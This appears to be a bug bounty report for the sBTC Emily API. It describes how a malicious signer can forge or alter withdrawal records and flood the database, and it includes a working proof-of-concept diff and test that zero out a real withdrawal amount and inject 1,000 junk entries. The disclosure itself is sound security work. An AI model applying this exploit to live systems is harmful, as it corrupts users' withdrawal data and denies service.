#40770 [BC-Low] Unvalidated withdrawal events allow data manipulation and denial of service in Emily
Submitted on Mar 3rd 2025 at 15:03:52 UTC by @Cartel for Attackathon | Stacks II
Report ID: #40770
Report Type: Blockchain/DLT
Report severity: Low
Target: https://github.com/stacks-network/sbtc/tree/immunefi_attackaton_1.0
Impacts:
API crash preventing correct processing of deposits
Temporarily Freezing Network Transactions
Description
Brief/Intro
The Emily service blindly trusts and processes withdrawal events received from signers without verifying their authenticity or correctness. This allows a malicious signer to manipulate legitimate withdrawal data or inject fake withdrawal records, ultimately corrupting Emily’s database and enabling a DoS attack.
Vulnerability Details
Whenever a user initiates a withdrawal on Stacks, a withdrawal-create
event is emitted by sbtc-registry.clar
.new_block.rs
listens for these emitted events, writes them to the signers' database, and also informs Emily:
// Create any new withdrawal instances. We do this before performing any updates
// because a withdrawal needs to exist in the Emily API database in order for it
// to be updated.
emily_client
.create_withdrawals(created_withdrawals)
.await
.into_iter()
.for_each(|create_withdrawal_result| {
if let Err(error) = create_withdrawal_result {
tracing::error!(%error, "failed to create withdrawal in Emily");
}
});
// Execute updates in parallel.
let futures = vec![
emily_client
.update_deposits(completed_deposits)
.map(UpdateResult::Deposit)
.boxed(),
emily_client
.update_withdrawals(updated_withdrawals)
.map(UpdateResult::Withdrawal)
.boxed(),
];
The problem here is that Emily does not validate the correctness of the events received from the signers upon create_withdrawals
and update_withdrawals
.
A malicious signer can manipulate legitimate withdrawal requests, altering parameters such as the amount, status, and more.
Since a malicious signer can monitor the Stacks mempool, they can detect legitimate withdrawal requests as they appear in the mempool and immediately call
create_withdrawals
on Emily before other signers, using the same withdrawal-related data (such as the requestId and other identifiers), but for example with a manipulated amount set to 0. It also does not matter if the signer is the coordinator or not, they can do this anytime.Additionally, the malicious signer can also update a withdrawal request in Emily database arbitrarily by calling
update_withdrawals
function.
Furthermore, a malicious signer can inform Emily about non-existent withdrawal requests, which Emily will blindly process and record. This allows an attacker to flood Emily with a large number of junk requests, ultimately causing it to run out of memory and fill its database with junk data. Since the malicious signer can send a large number of requests within a single call, they can DoS Emily with just a few calls.
Impact Details
A malicious signer can:
Manipulate data for all legitimate withdrawal requests in Emily’s database.
Cause a DoS by exhausting Emily's memory and filling its database with junk data.
References
None
Proof of Concept
Proof of Concept
In this PoC, we modify the amount and status of a legitimate withdrawal request (emitted and caught by new_block.rs
), and we also inject 999 junk records (each being a copy of that legitimate request) into Emily’s database.
To test the scenario please apply the following changes.
Changes to new_block.rs
:
// Send the updates to Emily.
let emily_client = api.ctx.get_emily_client();
+ let original_withdrawals = created_withdrawals.clone();
+
+ // @audit manipulating the legitimate withdraw request
+ for withdrawal in &original_withdrawals {
+ let mut manipulated_withdrawal = withdrawal.clone();
+ manipulated_withdrawal.request_id = 0;
+ manipulated_withdrawal.amount = 0;
+
+ created_withdrawals.push(manipulated_withdrawal.clone());
+
+ let manipulated_update = WithdrawalUpdate {
+ fulfillment: None,
+ last_update_block_hash: manipulated_withdrawal.stacks_block_hash.clone(),
+ last_update_height: manipulated_withdrawal.stacks_block_height,
+ request_id: manipulated_withdrawal.request_id,
+ status: Status::Accepted,
+ status_message: "You're hacked!!!!".to_string(),
+ };
+
+ updated_withdrawals.push(manipulated_update);
+ }
+
+ // @audit adding 999 copy of the legitimate withdraw request as junk records
+ for i in 1..=1000 {
+ for withdrawal in &original_withdrawals {
+ let mut junk_withdrawal = withdrawal.clone();
+ junk_withdrawal.request_id = i;
+ junk_withdrawal.amount = 0;
+
+ created_withdrawals.push(junk_withdrawal.clone());
+
+ let fake_update = WithdrawalUpdate {
+ fulfillment: None,
+ last_update_block_hash: junk_withdrawal.stacks_block_hash.clone(),
+ last_update_height: junk_withdrawal.stacks_block_height,
+ request_id: junk_withdrawal.request_id,
+ status: Status::Accepted,
+ status_message: "You're hacked!!!!".to_string(),
+ };
+
+ updated_withdrawals.push(fake_update);
+ }
+ }
+
// Create any new withdrawal instances. We do this before performing any updates
// because a withdrawal needs to exist in the Emily API database in order for it
// to be updated.
emily_client
.create_withdrawals(created_withdrawals)
.await
.into_iter()
.for_each(|create_withdrawal_result| {
if let Err(error) = create_withdrawal_result {
tracing::error!(%error, "failed to create withdrawal in Emily");
}
});
// Execute updates in parallel.
let futures = vec![
emily_client
.update_deposits(completed_deposits)
.map(UpdateResult::Deposit)
.boxed(),
emily_client
.update_withdrawals(updated_withdrawals)
.map(UpdateResult::Withdrawal)
.boxed(),
];
Add the following test case to sbtc/signer/tests/integration/stacks_events_observer.rs
:
#[tokio::test]
async fn test_cartel_manipulate_emily_db() {
let context = test_context().await;
let state = State(ApiState { ctx: context.clone() });
let emily_context = state.ctx.emily_client.config();
// Wipe the Emily database to start fresh
wipe_databases(&emily_context)
.await
.expect("Wiping Emily database in test setup failed.");
let body = WITHDRAWAL_CREATE_WEBHOOK.to_string();
let withdrawal_event = get_registry_event_from_webhook(&body, |event| match event {
RegistryEvent::WithdrawalCreate(event) => Some(event),
_ => panic!("Expected WithdrawalCreate event"),
});
assert!(withdrawal_event.amount > 0, "Amount is zero");
println!("Actual Withdraw Amount: {}", withdrawal_event.amount);
let resp = new_block_handler(state.clone(), body).await;
assert_eq!(resp, StatusCode::OK);
// Check that the withdrawal is confirmed
let resp = get_withdrawal(&emily_context, withdrawal_event.request_id).await;
assert!(resp.is_ok());
let withdrawal = resp.unwrap();
// @audit Emily shows a Accepted status for the withdraw request
assert_eq!(withdrawal.status, Status::Accepted);
assert!(withdrawal.fulfillment.is_none());
// @audit Emily shows amount as 0
assert!(withdrawal.amount == 0, "Amount is zero");
println!("Withdraw Amount In Emily Database: {}", withdrawal.amount);
// @audit 999 other requests are written to Emily DB with the same status
let resp = get_withdrawal(&emily_context, 1000).await;
assert!(resp.is_ok());
let withdrawal = resp.unwrap();
assert_eq!(withdrawal.status, Status::Accepted);
assert!(withdrawal.fulfillment.is_none());
assert!(withdrawal.amount == 0, "Amount is zero");
}
Run the test:
NEXTEST_SHOW_OUTPUT=always cargo nextest run \
--workspace \
--exclude emily-openapi-spec \
--exclude blocklist-openapi-gen \
--test integration \
--no-fail-fast \
--test-threads 1 \
test_cartel_manipulate_emily_db \
--success-output=immediate
Results:
Compiling signer v0.1.0 (/home/shredder/web3/audits/immunefi/sbtc/signer)
Finished `test` profile [unoptimized] target(s) in 21.05s
────────────
Nextest run ID a78cd857-6c79-42fe-9fa3-98cb2a096c42 with nextest profile: default
Starting 1 test across 3 binaries (321 tests skipped)
PASS [ 29.157s] signer::integration stacks_events_observer::test_cartel_manipulate_emily_db
──── STDOUT: signer::integration stacks_events_observer::test_cartel_manipulate_emily_db
running 1 test
Actual Withdraw Amount: 22500
Withdraw Amount In Emily Database: 0
test stacks_events_observer::test_cartel_manipulate_emily_db ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 291 filtered out; finished in 29.15s
Was this helpful?